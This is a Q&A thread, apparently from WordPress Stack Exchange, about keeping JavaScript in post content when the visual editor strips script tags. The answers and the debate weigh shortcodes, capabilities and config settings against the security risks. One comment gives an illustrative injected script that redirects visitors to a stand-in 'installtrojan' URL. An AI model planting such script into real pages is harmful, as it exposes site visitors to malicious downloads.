3

Ok, I've seen solutions which go halfway to sorting out this problem, but nothing definitive, and nothing that 100% solves my problem.

Scenario:

  • In HTML mode, I add some javascript to a post I'm editing.
  • I switch to Visual, then back to HTML, and the tag and all of its content are gone.

How do I stop this from happening? I've tried adding custom code to my functions.php trying to access the extended_valid_elements for TinyMCE, but nothing works.

Please help!

6
  • Are you using WordPress as a single installation or in multisite mode? Oct 2, 2012 at 13:25
  • This is essentially a gaping security hole you're trying to open
    – Tom J Nowell
    Oct 2, 2012 at 13:32
  • Why do you want to do this?
    – Tom J Nowell
    Oct 2, 2012 at 15:55
  • Hi, the main reason for wanting to do this is because on a few sites I run, I commonly insert Google Adsense code within the body of posts. The CPC is much greater this way, and I often experiment with different ads. The pages that have the Adsense JS code are often edited in Visual mode, and it is such a pain that I have to constantly copy and paste the JS code back in when it gets removed. I appreciate the security concerns, but then if my login was breached then it opens up much more problems than just JS issues - the very nature of the breach itself would be a massive problem.
    – pixelkicks
    Oct 2, 2012 at 20:06
  • 1
    Then it appears you have asked for a fix for your kludge, the correct question to ask would be how to add adsense into the middle of posts, to which the correct answer would have been a shortcode, and there are many available, likely one a custom one would have been posted and you'd have gotten much reputation for asking and several badges for noteworthy question. Instead you asked how to put arbitrary Javascript into post content, and the response you got was that doing so was bad practice and a significant security hole.
    – Tom J Nowell
    Oct 2, 2012 at 22:44

5 Answers 5

4

Adding JS to the content is very, very bad practice, and it's just asking to be hacked.

Add it via a shortcode, or if you really must, use a post meta/custom fields to store the js and display it after the content in your template using echo get_post_meta($post->ID,'post_javascript',true );

10
  • 1
    Hey Tom, I think it would be really helpful if you could provide some evidence as to why this is bad practice, and why it's asking to be hacked! Oct 2, 2012 at 14:47
  • 1
    because anyone can put anything into your content, be it something that makes your hyperlinks flash, or something that performs a drive by download. Anyone with access to your DB or with post edit access can use your site to spread malicious javascript
    – Tom J Nowell
    Oct 2, 2012 at 15:54
  • It also mixes content/data with functionality/controllers, and makes your content non-portable across themes as changing themes would break the content.
    – Tom J Nowell
    Oct 2, 2012 at 15:55
  • e.g. "Hello this is my first blogpost! <script>window.location="www.hackme.com/installtrojan";</script>"
    – Tom J Nowell
    Oct 2, 2012 at 15:56
  • 12
    I would offer that "anyone with access to your DB or with post edit access" can ruin your day anyway, and implementing this via shortcode or post meta would make no difference in security. Likewise, I don't see shortcodes or post meta separating content/data with functionality/controllers any more than what @Buckers is asking. I think this is a good default for WordPress, don't get me wrong, but I personally see no harm in overriding this behavior with informed consent, nor do I see any security or orthogonality advantages of what you propose. But, hey, maybe I'm missing something? Oct 2, 2012 at 18:15
5

This can be quite easily done by granting the unfiltered_html capability to whichever role you're interested in allowing SCRIPT and IFRAME tags. Obviously, as mentioned by others, there's inherent security risks, so be judicious about it.

To learn more about granting capabilities, see The WordPress Codex entry on add_cap().

2

Without mucking about with template PHP code, you can workaround the OP problem - as well as the problem where on multisite no one other than super-admin gets the unfiltered_html capability mentioned by @Tom Auger - by installing the "Shortcoder" plugin - it allows you to create "custom shortcodes" that simply render some text. This could be anything - including Javascript.

I create a "custom shortcode" for each piece of code that I need (usually one for each page's distinct custom code) and then the visual editor sees the shortcode and doesn't remove it.

Its also great for Javascript code re-use, if you have multiple pages that need the same (or similar) code.

9
  • it is sounds very insecure on multisite,(anything that lets input unfiltered html is) and in any case, doesn't seem to be supported by the author any more Mar 9, 2017 at 17:43
  • @MarkKaplun - I'm not sure why you say the plugin is unsupported. It has not been updated recently, but that is likely because the author is busy with other things (see his posts in other forums). Anyway, it works fine on 4.7.
    – Guss
    Mar 9, 2017 at 17:48
  • Regarding the security thing - I keep seeing answers on this site to the effect of "its not secure to do this or that, so don't do it". I think responders should stop enforcing their security model on other users. If the admin decided to install a plugin and have it available, I would assume they considered the security implications. On my WPMS setup, all users are trusted (I create them manually) so if I choose to make the Shortcoder plugin available, its because I've reviewed the security considerations and they are fine. I'd expect most WPMS installs to be in the same category.
    – Guss
    Mar 9, 2017 at 17:50
  • 1
    Because WPMS is so hard to install (you need to edit non trivial configuration files) I would tend to argue that the level of WPMS admins is somewhat higher than the average WP editor. At best you can explain the security implications (which BTW, you haven't explained why you think shortcoder is a problem on multisites). Regarding the support issue - I think taking what you said as an indication is a bit far fetched - I personally support a couple of wordpress plugins, I don't usually have the time to test them on the latest wordpress for every release, or sometimes not even once a year.
    – Guss
    Mar 9, 2017 at 18:17
  • 1
    and just for your benefit of why users are not trusted, even if you know them personally.... Are you really sure they do not use a 123456 as a password? let their nephew use their computer, etc? You don't limit users because they might be bad people, you limit them to limit the vectors for a security breach which will have an impact on more than their account Mar 9, 2017 at 18:18
1

as of 2024 you can allow unfiltered html in the wp-config.php by setting DISALLOW_UNFILTERED_HTML to false like this:

define( 'DISALLOW_UNFILTERED_HTML', false );

Regarding security stuff: Enabling unfiltered HTML by setting DISALLOW_UNFILTERED_HTML to false requires trust in your admins and security awareness, as it allows them to insert potentially harmful code. However, if a hacker gains access to your WordPress, the security implications are severe regardless of this setting.

0

There is also a solution for those who have Elementor plugin and don't want to install any extra plugins:

  1. From the admin menu go to Templates > Add New
  2. Choose "Container" as the template type and name it anything suitable to recognize your code later for the edits (if required).
  3. On the elementor editor screen click the + sign to add a container and add a HTML code widget inside it.
  4. Paste your script inside the HTML box. (Note that it has to <script></script> tags around it)
  5. Save and Exit back to the containers list. (Templates > Saved Templates > Containers)
  6. Locate your newly created template and copy it's shortcode from the box in front of it.
  7. Paste this shortcode in any text editor and enjoy.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.